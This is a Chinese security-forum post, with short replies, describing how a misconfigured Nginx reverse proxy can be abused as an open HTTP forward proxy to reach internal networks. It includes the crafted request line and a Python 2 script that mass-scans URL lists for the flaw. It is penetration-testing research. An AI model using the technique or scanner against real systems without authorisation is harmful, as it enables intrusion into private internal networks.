用户
搜索

[思路/技术] 刺透内网的HTTP代理

  • TA的每日心情
    擦汗
    5 天前
  • 签到天数: 20 天

    连续签到: 1 天

    [LV.4]经常看看II

    管理员

    知识面,决定看到的攻击面有多广。知识链,决定发动的杀伤链有多

    Rank: 9Rank: 9Rank: 9

    33

    主题

    292

    帖子

    621

    魔法币
    收听
    0
    粉丝
    70
    注册时间
    2016-4-17

    秦i春秋签约作者

    Vulkey_Chen 管理员 知识面,决定看到的攻击面 秦 i春秋签约作者 楼主
    发表于 7 天前 109021

    从偶然出发

    在做测试的时候发现了这样一个漏洞,原请求报文如下:

    GET / HTTP/1.1
    Host: attack_website
    [... HEADER ...]
    
    ...

    当时最初目的是想测SSRF的,但是经过测试没发现存在漏洞后来想起之前看过的一些漏洞案例,将请求报文中的URI部分替换成了网址:

    http://gh0st.cn

    就变成了如下的请求:

    GET http://gh0st.cn HTTP/1.1
    Host: attack_website
    [... HEADER ...]
    
    ...

    在BurpSuite里进行重放测试发现返回的响应正文就是http://gh0st.cn 的,也就是说这里的attack_website可以被作为HTTP代理,于是进入下一步的测试能否使用非http/https协议进行请求?例如file:/// ,测试后发现确实没办法这样玩,看来是这里代理服务器不支持。

    在这里替换URI部分为内网的地址,可以直接漫游内网的系统,进行深入的渗透测试了,后续的事情就不在这多说了,那么来研究看看为什么会有这样的问题呢?

    从被动偶然到主动发现

    了解原理

    查阅了一番资料和询问了一下朋友,都说具体的不太清楚,后来看见这样一篇文章:

    https://www.secpulse.com/archives/74676.html

    其中所说原理大致是因为Nginx反向代理配置不当导致可以被作为正向代理,导致能被外部作为HTTP代理服务器。

    正向代理 and 反向代理

    正向代理

    • 浏览器(/全局)设置代理服务器IP和对应端口
    • 浏览器输入目标地址->代理服务器->目标服务器

    简而言之,正向代理类似我们经常用到的跳板机,利用代理去访问外部的资源。

    反向代理

    跟正代不同的地方在于反向代理相对浏览器来说是透明的,不需要在浏览器(/全局)做什么配置,而是有反向代理服务器自己做请求转发到其服务器上所配置的地址。

    大致如下的流程:

    1. 浏览器访问网站(网站所指即反向代理服务器)
    2. 网站(反向代理服务器)做处理,将请求转发给所设置的目标服务器
    3. 由请求最终到达的目标服务器响应给网站(反向代理服务器),然后再通过其返回给浏览器

    TIPs:

    • 一、反向代理服务器也可以变成WAF(例如Nginx支持反代功能,nginx+lua也可以搭建网站waf)
    • 二、反向代理服务器也可以起到负载均衡的作用,由反向代理服务器做选择分配Web服务器

    主动发现脚本开发

    脚本语言选择:python2.7

    系统环境:all

    思考

    如何判断这个网站存在可以作为HTTP代理访问资源?唯一特征是什么?

    脑子中唯一的思路就是IP,如果这目标站点能作为HTTP代理访问资源,那么我设置的这个资源就是返回真实IP的,这样就可以判断了~

    这里我在团队官网上小小的写了一个,但是在大批量去测试却无法使用,因为官网的空间没那么大的吞吐量,承载不住高并发,后期建议大家使用 http://httpbin.org/ip 这个接口~

    http://www.hi-ourlife.com/getip.php

    PHP代码:

    <?php
    echo $_SERVER['REMOTE_ADDR'];
    ?>

    代码构建

    Import 库

    import urllib, sys, re

    全局变量:

    poc = "http://www.hi-ourlife.com/getip.php"

    获取使用代理访问资源后内容(IP)函数:

    def useProxy(site):
            try:
                    res = urllib.urlopen(poc, proxies={'http': site}).read()
                    return res
            except:
                    return getIP()

    正常本机获取IP函数:

    def getIP():
            res = urllib.urlopen(poc).read()
            return res

    防止有些会出错返回的内容不是IP,其实返回不是IP也就间接证明不存在这种漏洞,所以需要写个正则来匹配,这时候判断是否是IP的函数就诞生了:

    def isIP(ip):
        compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
        if compileIP.match(ip):
            return True
        else:
            return False

    对比IP函数:

    def isVul(site):
            resA = getIP()
            #print resA
            resB = useProxy(site)
            #print resB
            if resA == resB or not isIP(resB):
                    print "\033[1;33m[INFO]\033[0m No Vulnerability!"
            else:
                    print "\033[1;31m[INFO]\033[0m Existing Vulnerability!"
                    print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)

    单线程批量

    从扫描器里把代码模板剥离了出来如下:

    #-*- coding:utf-8 -*-
    #Author: Vulkey_Chen
    
    import urllib, sys, re
    
    poc = "http://www.hi-ourlife.com/getip.php"
    
    def useProxy(site):
            try:
                    res = urllib.urlopen(poc, proxies={'http': site}).read()
                    return res
            except:
                    return getIP()
    
    def getIP():
            res = urllib.urlopen(poc).read()
            return res
    
    def getSite(filename):
            f = open(filename)
            res = []
            for line in f:
                    res.append(line)
            return res
    
    def isIP(ip):
        compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
        if compileIP.match(ip):
            return True
        else:
            return False
    
    def isVul(site):
            resA = getIP()
            #print resA
            resB = useProxy(site)
            #print resB
            if resA == resB or not isIP(resB):
                    print "\033[1;33m[INFO]\033[0m No Vulnerability!"
            else:
                    print "\033[1;31m[INFO]\033[0m Existing Vulnerability!"
                    print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB)
    
    def main(filename):
            for i in getSite(filename):
                    isVul(i.replace("\n",""))
    
    if __name__ == '__main__':
            main(sys.argv[1])

    END

    使用方法:python proxy_vul.py urls.txt

    urls.txt 格式:

    http://www.hi-ourlife.com/
    https://gh0st.cn/
    http://mst.hi-ourlife.com:8080/

    建议批量方法:

    扫描所有想检测站点的web服务端口(Nginx容器存在此类问题居多),然后使用脚本检测。




    gh0stkey,米斯特安全团队核心。
    i春秋社区核心成员之一。
    关注米斯特安全团队(MstLab):www.hi-ourlife.com
    学习一下~
    使用道具 举报 回复
    学习两下~
    使用道具 举报 回复
    学习了,记录下
    使用道具 举报 回复
    学习下表哥思路:
    可以使用grequests实现异步多线程,然后代码中poc网站换成公共ip查询的网站,比如baidu、站长之家之类的
    使用道具 举报 回复
    学习了,感谢楼主
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    Vulkey_Chen 管理员 知识面,决定看到的攻击面 秦 i春秋签约作者
    7#
    发表于 6 天前
    shadow15 发表于 2018-9-12 08:32
    学习下表哥思路:
    可以使用grequests实现异步多线程,然后代码中poc网站换成公共ip查询的网站,比如baidu、 ...

    ~ 多线程很早就写了 公共ip查询 我也例举了接口哦 很多东西不便发出来而已~
    gh0stkey,米斯特安全团队核心。
    i春秋社区核心成员之一。
    关注米斯特安全团队(MstLab):www.hi-ourlife.com
    使用道具 举报 回复
    学习一下~
    菜菜菜菜菜菜菜菜鸡~
    使用道具 举报 回复
    这个工具意思是能绕过cdn查真实ip?
    使用道具 举报 回复
    4ku2s4t 发表于 2018-9-14 18:04
    这个工具意思是能绕过cdn查真实ip?

    如果web反向代理配置错误的话,有可能会成为正向代理,进行SSRF
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册